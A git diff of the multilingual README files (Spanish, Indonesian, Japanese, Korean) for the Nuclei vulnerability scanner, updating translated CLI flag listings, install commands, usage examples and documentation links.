-ud, -update-template-dir string directorio personalizado para instalar/actualizar nuclei-templates
|
||||
-duc, -disable-update-check deshabilita la comprobación automática de actualizaciones de nuclei/templates
|
||||
|
||||
STATISTICS:
|
||||
-stats muestra estadísticas sobre el escaneo en ejecución
|
||||
-sj, -stats-json muestra estadísticas en formato JSONL(ines)
|
||||
-si, -stats-interval int número de segundos a esperar entre mostrar una actualización de estadísticas (por defecto 5)
|
||||
-mp, -metrics-port int puerto para exponer métricas de nuclei (por defecto 9092)
|
||||
|
||||
CLOUD:
|
||||
-auth configura la clave de API del cloud de projectdiscovery (pdcp)
|
||||
-cup, -cloud-upload sube los resultados del escaneo al dashboard de pdcp
|
||||
-sid, -scan-id string sube los resultados del escaneo al ID de escaneo dado
|
||||
|
||||
AUTHENTICATION:
|
||||
-sf, -secret-file string[] ruta al archivo de configuración que contiene los secrets para el escaneo autenticado de nuclei
|
||||
-ps, -prefetch-secrets precarga los secrets del archivo de secrets
|
||||
|
||||
|
||||
EXAMPLES:
|
||||
Ejecutar nuclei en un solo host:
|
||||
$ nuclei -target example.com
|
||||
|
||||
Ejecutar nuclei con directorios de plantillas específicos:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
Ejecutar nuclei contra una lista de hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
Ejecutar nuclei con una salida JSON:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
Ejecutar nuclei con salidas Markdown ordenadas (con variables de entorno):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Documentación adicional disponible en: https://docs.nuclei.sh/getting-started/running
|
||||
```
|
||||
|
||||
### Ejecutando Nuclei
|
||||
|
||||
Consulta https://docs.projectdiscovery.io/tools/nuclei/running para obtener detalles sobre cómo ejecutar Nuclei.
|
||||
|
||||
### Uso de Nuclei desde código Go
|
||||
|
||||
La guía completa sobre cómo usar Nuclei como biblioteca/SDK está disponible en [godoc](https://pkg.go.dev/github.com/projectdiscovery/nuclei/v3/lib#section-readme).
|
||||
|
||||
|
||||
### Recursos
|
||||
|
||||
Puedes acceder a la documentación principal de Nuclei en https://docs.projectdiscovery.io/tools/nuclei/, y obtener más información sobre Nuclei en la nube con [ProjectDiscovery Cloud Platform](https://cloud.projectdiscovery.io).
|
||||
|
||||
¡Consulta https://docs.projectdiscovery.io/tools/nuclei/resources para obtener más recursos y videos sobre Nuclei!
|
||||
|
||||
### Créditos
|
||||
|
||||
Gracias a todos los increíbles [contribuyentes de la comunidad que enviaron PRs](https://github.com/projectdiscovery/nuclei/graphs/contributors) y mantienen este proyecto actualizado. :heart:
|
||||
|
||||
Si tienes una idea o algún tipo de mejora, eres bienvenido a contribuir y participar en el Proyecto, siéntete libre de enviar tu PR.
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors">
|
||||
<img src="https://contrib.rocks/image?repo=projectdiscovery/nuclei&max=500">
|
||||
</a>
|
||||
</p>
|
||||
|
||||
|
||||
También echa un vistazo a los siguientes proyectos de código abierto similares que pueden adaptarse a tu flujo de trabajo:
|
||||
|
||||
[FFuF](https://github.com/ffuf/ffuf), [Qsfuzz](https://github.com/ameenmaali/qsfuzz), [Inception](https://github.com/proabiral/inception), [Snallygaster](https://github.com/hannob/snallygaster), [Gofingerprint](https://github.com/Static-Flow/gofingerprint), [Sn1per](https://github.com/1N3/Sn1per/tree/master/templates), [Google tsunami](https://github.com/google/tsunami-security-scanner), [Jaeles](https://github.com/jaeles-project/jaeles), [ChopChop](https://github.com/michelin/ChopChop)
|
||||
|
||||
### Licencia
|
||||
|
||||
Nuclei se distribuye bajo la [Licencia MIT](https://github.com/projectdiscovery/nuclei/blob/main/LICENSE.md)
|
||||
|
||||
<h1 align="left">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="static/Join-Discord.png" width="380" alt="Join Discord"></a> <a href="https://docs.projectdiscovery.io"><img src="static/check-nuclei-documentation.png" width="380" alt="Check Nuclei Documentation"></a>
|
||||
</h1>
|
||||
@@ -24,7 +24,7 @@
|
||||
<a href="#untuk-pengembang-dan-organisasi">Untuk Pengembang</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">Dokumentasi</a> •
|
||||
<a href="#kredit">Kredit</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/nuclei/">Tanya Jawab</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">Tanya Jawab</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Gabung Discord</a>
|
||||
</p>
|
||||
|
||||
@@ -32,7 +32,8 @@
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">Korean</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">Indonesia</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">Spanish</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
@@ -105,13 +106,15 @@ TEMPLATES:
|
||||
-ntv, -new-templates-version string[] run new templates added in specific version
|
||||
-as, -automatic-scan automatic web scan using wappalyzer technology detection to tags mapping
|
||||
-t, -templates string[] list of template or template directory to run (comma-separated, file)
|
||||
-tu, -template-url string[] list of template urls to run (comma-separated, file)
|
||||
-turl, -template-url string[] template url or list containing template urls to run (comma-separated, file)
|
||||
-w, -workflows string[] list of workflow or workflow directory to run (comma-separated, file)
|
||||
-wu, -workflow-url string[] list of workflow urls to run (comma-separated, file)
|
||||
-wurl, -workflow-url string[] workflow url or list containing workflow urls to run (comma-separated, file)
|
||||
-validate validate the passed templates to nuclei
|
||||
-nss, -no-strict-syntax disable strict syntax check on templates
|
||||
-td, -template-display displays the templates content
|
||||
-tl list all available templates
|
||||
-sign signs the templates with the private key defined in NUCLEI_SIGNATURE_PRIVATE_KEY env variable
|
||||
-code enable loading code protocol-based templates
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] templates to run based on authors (comma-separated, file)
|
||||
@@ -264,27 +267,28 @@ STATISTICS:
|
||||
-mp, -metrics-port int port to expose nuclei metrics on (default 9092)
|
||||
|
||||
CLOUD:
|
||||
-cloud run scan on nuclei cloud
|
||||
-ads, -add-datasource string add specified data source (s3,github)
|
||||
-atr, -add-target string add target(s) to cloud
|
||||
-atm, -add-template string add template(s) to cloud
|
||||
-lsn, -list-scan list previous cloud scans
|
||||
-lso, -list-output string list scan output by scan id
|
||||
-ltr, -list-target list cloud target by id
|
||||
-ltm, -list-template list cloud template by id
|
||||
-lds, -list-datasource list cloud datasource by id
|
||||
-lrs, -list-reportsource list reporting sources
|
||||
-dsn, -delete-scan string delete cloud scan by id
|
||||
-dtr, -delete-target string delete target(s) from cloud
|
||||
-dtm, -delete-template string delete template(s) from cloud
|
||||
-dds, -delete-datasource string delete specified data source
|
||||
-drs, -disable-reportsource string disable specified reporting source
|
||||
-ers, -enable-reportsource string enable specified reporting source
|
||||
-gtr, -get-target string get target content by id
|
||||
-gtm, -get-template string get template content by id
|
||||
-nos, -no-store disable scan/output storage on cloud
|
||||
-no-tables do not display pretty-printed tables
|
||||
-limit int limit the number of output to display (default 100)
|
||||
-auth configure projectdiscovery cloud (pdcp) api key
|
||||
-cup, -cloud-upload upload scan results to pdcp dashboard
|
||||
-sid, -scan-id string upload scan results to given scan id
|
||||
|
||||
|
||||
EXAMPLES:
|
||||
Run nuclei on single host:
|
||||
$ nuclei -target example.com
|
||||
|
||||
Run nuclei with specific template directories:
|
||||
$ nuclei -target example.com -t http/cves/ -t ssl
|
||||
|
||||
Run nuclei against a list of hosts:
|
||||
$ nuclei -list hosts.txt
|
||||
|
||||
Run nuclei with a JSON output:
|
||||
$ nuclei -target example.com -json-export output.json
|
||||
|
||||
Run nuclei with sorted Markdown outputs (with environment variables):
|
||||
$ MARKDOWN_EXPORT_SORT_MODE=template nuclei -target example.com -markdown-export nuclei_report/
|
||||
|
||||
Additional documentation is available at: https://docs.nuclei.sh/getting-started/running
|
||||
```
|
||||
|
||||
### Menjalankan Nuclei
|
||||
|
||||
@@ -0,0 +1,172 @@
|
||||
<h1 align="center">
|
||||
<br>
|
||||
<a href="https://nuclei.projectdiscovery.io"><img src="static/nuclei-logo.png" width="200px" alt="Nuclei"></a>
|
||||
</h1>
|
||||
|
||||
<h4 align="center">シンプルなYAMLベースのDSLに基づいた高速でカスタマイズ可能な脆弱性スキャナー</h4>
|
||||
|
||||
<p align="center">
|
||||
<img src="https://img.shields.io/github/go-mod/go-version/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases"><img src="https://img.shields.io/github/downloads/projectdiscovery/nuclei/total">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/graphs/contributors"><img src="https://img.shields.io/github/contributors-anon/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/releases/"><img src="https://img.shields.io/github/release/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/issues"><img src="https://img.shields.io/github/issues-raw/projectdiscovery/nuclei">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/discussions"><img src="https://img.shields.io/github/discussions/projectdiscovery/nuclei">
|
||||
<a href="https://discord.gg/projectdiscovery"><img src="https://img.shields.io/discord/695645237418131507.svg?logo=discord"></a>
|
||||
<a href="https://twitter.com/pdnuclei"><img src="https://img.shields.io/twitter/follow/pdnuclei.svg?logo=twitter"></a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="#how-it-works">動作原理</a> •
|
||||
<a href="#install-nuclei">インストール</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/">ドキュメント</a> •
|
||||
<a href="#credits">クレジット</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">FAQ</a> •
|
||||
<a href="https://discord.gg/projectdiscovery">Discordに参加</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">英語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中国語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">韓国語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ID.md">インドネシア語</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">スペイン語</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
|
||||
Nucleiは、テンプレートに基づいてターゲット間でリクエストを送信するために使用され、偽陽性がゼロであり、多数のホストで高速なスキャンを提供します。Nucleiは、TCP、DNS、HTTP、SSL、ファイル、Whois、Websocket、Headless、Codeなど、さまざまなプロトコルのスキャンを提供します。強力で柔軟なテンプレートを使用して、Nucleiはすべての種類のセキュリティチェックをモデル化するために使用できます。
|
||||
|
||||
**300人以上の** セキュリティ研究者およびエンジニアが提供するさまざまなタイプの脆弱性テンプレートを収容する[専用リポジトリ](https://github.com/projectdiscovery/nuclei-templates)を持っています。
|
||||
|
||||
## 動作原理
|
||||
|
||||
<h3 align="center">
|
||||
<img src="static/nuclei-flow.jpg" alt="nuclei-flow" width="700px"></a>
|
||||
</h3>
|
||||
|
||||
| :exclamation: **免責事項** |
|
||||
|---------------------------------|
|
||||
| **このプロジェクトは積極的に開発されています**。リリースによって重大な変更が発生することがあります。更新する前にリリースの変更ログを確認してください。 |
|
||||
| このプロジェクトは主にスタンドアロンのCLIツールとして使用されることを目的として構築されました。**Nucleiをサービスとして実行すると、セキュリティリスクが生じる可能性があります。**注意して使用し、追加のセキュリティ対策を講じることをお勧めします。 |
|
||||
|
||||
# Nucleiのインストール
|
||||
|
||||
Nucleiを正常にインストールするには、**go1.21**が必要です。以下のコマンドを実行して最新バージョンをインストールしてください -
|
||||
|
||||
```sh
|
||||
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
|
||||
```
|
||||
|
||||
<details>
|
||||
<summary>Brew</summary>
|
||||
|
||||
```sh
|
||||
brew install nuclei
|
||||
```
|
||||
|
||||
</details>
|
||||
<details>
|
||||
<summary>Docker</summary>
|
||||
|
||||
```sh
|
||||
docker pull projectdiscovery/nuclei:latest
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
**より多くのインストール方法は[こちら](https://docs.projectdiscovery.io/tools/nuclei/install)で見つけることができます。**
|
||||
|
||||
<table>
|
||||
<tr>
|
||||
<td>
|
||||
|
||||
### Nucleiテンプレート
|
||||
|
||||
Nucleiは、バージョン[v2.5.2](https://github.com/projectdiscovery/nuclei/releases/tag/v2.5.2)以降、デフォルトでテンプレートの自動ダウンロード/更新をサポートしています。[**Nuclei-Templates**](https://github.com/projectdiscovery/nuclei-templates)プロジェクトは、常に更新されるコミュニティ提供の即時使用可能なテンプレートのリストを提供します。
|
||||
|
||||
`update-templates`フラグを使用して、いつでもNucleiテンプレートを更新することができます。Nucleiの[テンプレートガイド](https://docs.projectdiscovery.io/templates/)に従って、個々のワークフローとニーズに合わせた独自のチェックを作成することができます。
|
||||
|
||||
YAML DSLの構文リファレンスは[こちら](SYNTAX-REFERENCE.md)で確認できます。
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
</table>
|
||||
|
||||
### 使用方法
|
||||
|
||||
```sh
|
||||
nuclei -h
|
||||
```
|
||||
|
||||
これにより、ツールのヘルプが表示されます。ここには、サポートされているすべてのスイッチがあります。
|
||||
|
||||
```console
|
||||
Nucleiは、広範な設定可能性、大規模な拡張性、および使いやすさに焦点を当てた、
|
||||
高速でテンプレートベースの脆弱性スキャナーです。
|
||||
|
||||
使用法:
|
||||
./nuclei [flags]
|
||||
|
||||
フラグ:
|
||||
ターゲット:
|
||||
-u, -target string[] スキャンする対象のURL/ホスト
|
||||
-l, -list string スキャンする対象のURL/ホストのリストが含まれているファイルへのパス(1行に1つ)
|
||||
-resume string resume.cfgを使用してスキャンを再開(クラスタリングは無効になります)
|
||||
-sa, -scan-all-ips DNSレコードに関連付けられているすべてのIPをスキャン
|
||||
-iv, -ip-version string[] ホスト名のスキャンするIPバージョン(4,6)-(デフォルトは4)
|
||||
|
||||
テンプレート:
|
||||
-nt, -new-templates 最新のnuclei-templatesリリースに追加された新しいテンプレートのみを実行
|
||||
-ntv, -new-templates-version string[] 特定のバージョンに追加された新しいテンプレートを実行
|
||||
-as, -automatic-scan wappalyzer技術検出をタグマッピングに使用した自動Webスキャン
|
||||
-t, -templates string[] 実行するテンプレートまたはテンプレートディレクトリのリスト(カンマ区切り、ファイル)
|
||||
-turl, -template-url string[] 実行するテンプレートのURLまたはテンプレートURLのリスト(カンマ区切り、ファイル)
|
||||
-w, -workflows string[] 実行するワークフローまたはワークフローディレクトリのリスト(カンマ区切り、ファイル)
|
||||
-wurl, -workflow-url string[] 実行するワークフローのURLまたはワークフローURLのリスト(カンマ区切り、ファイル)
|
||||
-validate Nucleiに渡されたテンプレートを検証
|
||||
-nss, -no-strict-syntax テンプレートで厳密な構文チェックを無効にする
|
||||
-td, -template-display テンプレートの内容を表示
|
||||
-tl 利用可能なすべてのテンプレートをリスト
|
||||
-sign NUCLEI_SIGNATURE_PRIVATE_KEY環境変数で定義された秘密鍵でテンプレートに署名
|
||||
-code コードプロトコルベースのテンプレートのロードを有効にする
|
||||
|
||||
フィルタリング:
|
||||
-a, -author string[] 作者に基づいて実行するテンプレート(カンマ区切り、ファイル)
|
||||
-tags string[] タグに基づいて実行するテンプレート(カンマ区切り、ファイル)
|
||||
-etags, -exclude-tags string[] タグに基づいて除外するテンプレート(カンマ区切り、ファイル)
|
||||
-itags, -include-tags string[] デフォルトまたは設定によって除外されている場合でも実行する必要があるタグ
|
||||
-id, -template-id string[] テンプレートIDに基づいて実行するテンプレート(カンマ区切り、ファイル)
|
||||
-eid, -exclude-id string[] テンプレートIDに基づいて除外するテンプレート(カンマ区切り、ファイル)
|
||||
-it, -include-templates string[] デフォルトまたは設定によって除外されている場合でも実行する必要があるテンプレート
|
||||
-et, -exclude-templates string[] 除外するテンプレートまたはテンプレートディレクトリへのパス(カンマ区切り、ファイル)
|
||||
-em, -exclude-matchers string[] 結果で除外するテンプレートマッチャー
|
||||
-s, -severity value[] 重大度に基づいて実行するテンプレート。可能な値:info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] 重大度に基づいて除外するテンプレート。可能な値:info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] プロトコルタイプに基づいて実行するテンプレート。可能な値:dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] プロトコルタイプに基づいて除外するテンプレート。可能な値:dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] 式条件に基づいて実行するテンプレート
|
||||
|
||||
出力:
|
||||
-o, -output string 発見された問題/脆弱性を書き込む出力ファイル
|
||||
-sresp, -store-resp Nucleiを通じて渡されたすべてのリクエスト/レスポンスを出力ディレクトリに保存
|
||||
-srd, -store-resp-dir string Nucleiを通じて渡されたすべてのリクエスト/レスポンスをカスタムディレクトリに保存(デフォルトは「output」)
|
||||
-silent 結果のみを表示
|
||||
-nc, -no-color 出力内容の着色を無効にする(ANSIエスケープコード)
|
||||
-j, -jsonl JSONL(ines)形式で出力を書き込む
|
||||
-irr, -include-rr -omit-raw JSON、JSONL、Markdown出力にリクエスト/レスポンスペアを含める(発見のみ)[非推奨 -omit-raw使用](デフォルトはtrue)
|
||||
-or, -omit-raw JSON、JSONL、Markdown出力でリクエスト/レスポンスペアを省略する(発見のみ)
|
||||
-ot, -omit-template JSON、JSONL出力でエンコードされたテンプレートを省略
|
||||
-nm, -no-meta CLI出力で結果のメタデータの印刷を無効にする
|
||||
-ts, -timestamp CLI出力にタイムスタンプを印刷することを有効にする
|
||||
-rdb, -report-db string Nucleiレポートデータベース(レポートデータを永続化するために常にこれを使用)
|
||||
-ms, -matcher-status マッチ失敗のステータスを表示
|
||||
-me, -markdown-export string Markdown形式で結果をエクスポートするディレクトリ
|
||||
-se, -sarif-export string SARIF形式で結果をエクスポートするファイル
|
||||
-je, -json-export string JSON形式で結果をエクスポートするファイル
|
||||
-jle, -jsonl-export string JSONL(ine)形式で結果をエクスポートするファイル
|
||||
|
||||
設定:
|
||||
-config string Nucleiの設定ファイルへのパス
|
||||
-fr, -follow-redirects HTTPテンプレートのリダイレクトをフォローすることを有効にする
|
||||
-fhr, -follow-host-redirects
|
||||
@@ -23,14 +23,15 @@
|
||||
<a href="#개발자를-위한">개발자를 위한</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/nuclei/get-started/">문서</a> •
|
||||
<a href="#credits">Credits</a> •
|
||||
<a href="https://nuclei.projectdiscovery.io/faq/nuclei/">FAQs</a> •
|
||||
<a href="https://docs.projectdiscovery.io/tools/nuclei/faq">FAQs</a> •
|
||||
<a href="https://discord.gg/projectdiscovery"> Discord 참가</a>
|
||||
</p>
|
||||
|
||||
<p align="center">
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README.md">English</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_CN.md">中文</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">한국어</a>
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_KR.md">한국어</a> •
|
||||
<a href="https://github.com/projectdiscovery/nuclei/blob/main/README_ES.md">스페인어</a>
|
||||
</p>
|
||||
|
||||
---
|
||||
@@ -85,140 +86,207 @@ nuclei -h
|
||||
|
||||
|
||||
```console
|
||||
Nuclei is a fast, template based vulnerability scanner focusing
|
||||
on extensive configurability, massive extensibility and ease of use.
|
||||
Nuclei는 빠르고, 템플릿 기반의 취약점 스캐너로
|
||||
넓은 설정 가능성, 대규모 확장성 및 사용 편의성에 중점을 두고 있습니다.
|
||||
|
||||
Usage:
|
||||
nuclei [flags]
|
||||
사용법:
|
||||
./nuclei [flags]
|
||||
|
||||
Flags:
|
||||
TARGET:
|
||||
-u, -target string[] 스캔할 URLs/hosts 대상
|
||||
-l, -list string 스캔할 URLs/hosts 대상 목록이 포함된 파일 경로(줄당 하나씩)
|
||||
-resume string resume.cfg를 사용한 스캔 재개(클러스터링이 비활성화됨)
|
||||
-u, -target string[] 스캔할 대상 URL/호스트
|
||||
-l, -list string 스캔할 대상 URL/호스트 목록이 있는 파일 경로 (한 줄에 하나씩)
|
||||
-resume string resume.cfg를 사용하여 스캔 재개 (클러스터링은 비활성화됨)
|
||||
-sa, -scan-all-ips dns 레코드와 관련된 모든 IP 스캔
|
||||
-iv, -ip-version string[] 스캔할 호스트의 IP 버전 (4,6) - (기본값 4)
|
||||
|
||||
TEMPLATES:
|
||||
-nt, -new-templates nuclei-templates에 가장 최근에 추가된 새 템플릿만 실행
|
||||
-as, -automatic-scan 태그 매핑에 대한 wappalyzer 기술 탐지를 사용한 자동 웹 스캔
|
||||
-t, -templates string[] 실행할 템플릿 또는 템플릿 디렉터리 목록(쉼표로 구분된 파일)
|
||||
-tu, -template-url string[] 실행할 템플릿 URL 목록(쉼표로 구분된 파일)
|
||||
-w, -workflows string[] 실행할 워크플로 또는 워크플로 디렉터리 목록(쉼표로 구분된 파일)
|
||||
-wu, -workflow-url string[] 실행할 워크플로 URL 목록(쉼표로 구분된 파일)
|
||||
-validate nuclei로 전달된 템플릿 검증
|
||||
-tl 사용 가능한 모든 템플릿 목록
|
||||
-td 템플릿 내용 표시
|
||||
-nt, -new-templates 최신 nuclei-templates 릴리스에 추가된 새 템플릿만 실행
|
||||
-ntv, -new-templates-version string[] 특정 버전에 추가된 새 템플릿 실행
|
||||
-as, -automatic-scan wappalyzer 기술 감지를 사용하여 태그 매핑으로 자동 웹 스캔
|
||||
-t, -templates string[] 실행할 템플릿 또는 템플릿 디렉토리 목록 (쉼표로 구분, 파일)
|
||||
-turl, -template-url string[] 실행할 템플릿 url 또는 템플릿 url 목록 (쉼표로 구분, 파일)
|
||||
-w, -workflows string[] 실행할 워크플로우 또는 워크플로우 디렉토리 목록 (쉼표로 구분, 파일)
|
||||
-wurl, -workflow-url string[] 실행할 워크플로우 url 또는 워크플로우 url 목록 (쉼표로 구분, 파일)
|
||||
-validate nuclei에 전달된 템플릿 검증
|
||||
-nss, -no-strict-syntax 템플릿에서 엄격한 구문 검사 비활성화
|
||||
-td, -template-display 템플릿 내용 표시
|
||||
-tl 사용 가능한 모든 템플릿 목록
|
||||
-sign NUCLEI_SIGNATURE_PRIVATE_KEY 환경 변수에서 정의된 개인 키로 템플릿에 서명
|
||||
-code 코드 프로토콜 기반 템플릿 로딩 활성화
|
||||
|
||||
FILTERING:
|
||||
-a, -author string[] 작성자를 기준으로 실행할 템플릿(쉼표로 구분된 파일)
|
||||
-tags string[] 태그를 기준으로 실행할 템플릿(쉼표로 구분된 파일)
|
||||
-etags, -exclude-tags string[] 태그를 기준으로 제외할 템플릿(쉼표로 구분된 파일)
|
||||
-itags, -include-tags string[] 태그가 기본 또는 구성에 의해 제외된 경우에도 실행됨
|
||||
-id, -template-id string[] 템플릿 ID들을 기준으로 실행할 템플릿(쉼표로 구분된 파일)
|
||||
-eid, -exclude-id string[] 템플릿 ID들을 기준으로 제외할 템플릿(쉼표로 구분된 파일)
|
||||
-it, -include-templates string[] 템플릿이 기본 또는 구성에 의해 제외된 경우에도 실행됨
|
||||
-et, -exclude-templates string[] 제외할 템플릿 또는 템플릿 디렉터리(파일로 구분됨, 파일)
|
||||
-s, -severity value[] 심각도를 기준으로 실행할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] 심각도를 기준으로 제외할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] 프로토콜 유형을 기준으로 실행할 템플릿. 가능한 값: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-ept, -exclude-type value[] 프로토콜 유형에 따라 제외할 템플릿. 가능한 값: dns, file, http, headless, network, workflow, ssl, websocket, whois
|
||||
-a, -author string[] 저자를 기반으로 실행할 템플릿 (쉼표로 구분, 파일)
|
||||
-tags string[] 태그를 기반으로 실행할 템플릿 (쉼표로 구분, 파일)
|
||||
-etags, -exclude-tags string[] 태그를 기반으로 제외할 템플릿 (쉼표로 구분, 파일)
|
||||
-itags, -include-tags string[] 기본값 또는 구성에 의해 제외되더라도 실행되어야 하는 태그
|
||||
-id, -template-id string[] 템플릿 id를 기반으로 실행할 템플릿 (쉼표로 구분, 파일, 와일드카드 허용)
|
||||
-eid, -exclude-id string[] 템플릿 id를 기반으로 제외할 템플릿 (쉼표로 구분, 파일)
|
||||
-it, -include-templates string[] 기본값 또는 구성에 의해 제외되더라도 실행되어야 하는 템플릿
|
||||
-et, -exclude-templates string[] 제외할 템플릿 또는 템플릿 디렉토리 (쉼표로 구분, 파일)
|
||||
-em, -exclude-matchers string[] 결과에서 제외할 템플릿 매처
|
||||
-s, -severity value[] 심각도를 기반으로 실행할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-es, -exclude-severity value[] 심각도를 기반으로 제외할 템플릿. 가능한 값: info, low, medium, high, critical, unknown
|
||||
-pt, -type value[] 프로토콜 유형을 기반으로 실행할 템플릿. 가능한 값: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-ept, -exclude-type value[] 프로토콜 유형을 기반으로 제외할 템플릿. 가능한 값: dns, file, http, headless, tcp, workflow, ssl, websocket, whois, code, javascript
|
||||
-tc, -template-condition string[] 표현식 조건을 기반으로 실행할 템플릿
|
||||
|
||||
OUTPUT:
|
||||
-o, -output string 발견된 문제/취약점를 쓰기 위한 출력 파일
|
||||
-sresp, -store-resp nuclei을 통해 전달된 모든 요청/응답을 출력 디렉터리에 저장
|
||||
-srd, -store-resp-dir string nuclei을 통해 전달된 모든 요청/응답을 사용자 지정 디렉터리에 저장(기본 "output")
|
||||
-o, -output string 발견된 문제/취약점을 작성할 출력 파일
|
||||
-sresp, -store-resp 모든 요청/응답을 nuclei를 통해 출력 디렉토리에 저장
|
||||
-srd, -store-resp-dir string 모든 요청/응답을 nuclei를 통해 사용자 정의 디렉토리에 저장 (기본값 "output")
|
||||
-silent 결과만 표시
|
||||
-nc, -no-color 출력 내용 색상 비활성화 (ANSI escape codes)
|
||||
-j, -jsonl JSONL(ines) 형식으로 출력
|
||||
-irr, -include-rr JSONL 출력에 요청/응답 쌍 포함(결과만)
|
||||
-or, -omit-raw
|
||||
-nm, -no-meta cli 출력에서 결과 메타데이터 출력 비활성화
|
||||
-nts, -no-timestamp cli 출력에서 결과 타임스탬프 출력 비활성화
|
||||
-rdb, -report-db string nuclei 보고 데이터베이스(보고서 데이터를 유지하려면 항상 이것을 사용)
|
||||
-nc, -no-color 출력 내용 색상 비활성화 (ANSI 이스케이프 코드)
|
||||
-j, -jsonl JSONL(ines) 형식으로 출력 작성
|
||||
-irr, -include-rr -omit-raw JSON, JSONL, Markdown 출력에 요청/응답 쌍 포함 (결과만 해당) [사용 중단 -omit-raw 사용] (기본값 true)
|
||||
-or, -omit-raw JSON, JSONL, Markdown 출력에서 요청/응답 쌍 생략 (결과만 해당)
|
||||
-ot, -omit-template JSON, JSONL 출력에서 인코딩된 템플릿 생략
|
||||
-nm, -no-meta CLI 출력에서 결과 메타데이터 인쇄 비활성화
|
||||
-ts, -timestamp CLI 출력에 타임스탬프 인쇄 활성화
|
||||
-rdb, -report-db string nuclei 보고 데이터베이스 (보고 데이터를 유지하려면 항상 이것을 사용)
|
||||
-ms, -matcher-status 매치 실패 상태 표시
|
||||
-me, -markdown-export string 마크다운 형식으로 결과를 내보낼 디렉터리
|
||||
-se, -sarif-export string 결과를 SARIF 형식으로 내보내는 파일
|
||||
-me, -markdown-export string Markdown 형식으로 결과를 내보낼 디렉토리
|
||||
-se, -sarif-export string SARIF 형식으로 결과를 내보낼 파일
|
||||
-je, -json-export string JSON 형식으로 결과를 내보낼 파일
|
||||
-jle, -jsonl-export string JSONL(ine) 형식으로 결과를 내보낼 파일
|
||||
|
||||
CONFIGURATIONS:
|
||||
-config string nuclei 환경 설정 파일 경로
|
||||
-fr, -follow-redirects http 템플릿에 following redirects 활성화
|
||||
-mr, -max-redirects int http 템플릿에 따라야 할 최대 리디렉션 수(기본값 10)
|
||||
-dr, -disable-redirects http 템플릿에 대한 리디렉션 비활성화
|
||||
-rc, -report-config string nuclei 보고 모듈 환경 설정 파일
|
||||
-H, -header string[] 헤더:값 형식의 모든 http 요청에 포함할 사용자 정의 헤더/쿠키(cli, file)
|
||||
-V, -var value 키=값 형식의 사용자 정의 변수
|
||||
-r, -resolvers string nuclei에 대한 리졸버 목록이 포함된 파일
|
||||
-sr, -system-resolvers 에러 fallback으로 시스템 DNS 리졸빙 사용
|
||||
-passive 수동 HTTP 응답 처리 모드 활성화
|
||||
-ev, -env-vars 템플릿에서 환경 변수를 사용할 수 있도록 설정
|
||||
-cc, -client-cert string 스캔된 호스트에 인증하는 데 사용되는 클라이언트 인증서 파일(PEM-encoded)
|
||||
-ck, -client-key string 스캔된 호스트에 인증하는 데 사용되는 클라이언트 key 파일(PEM-encoded)
|
||||
-ca, -client-ca string 스캔된 호스트에 인증하는 데 사용되는 클라이언트 인증 기관 파일(PEM-encoded)
|
||||
-sml, -show-match-line 파일 템플릿에 대해 일치하는 줄 표시, extractors에서만 작동
|
||||
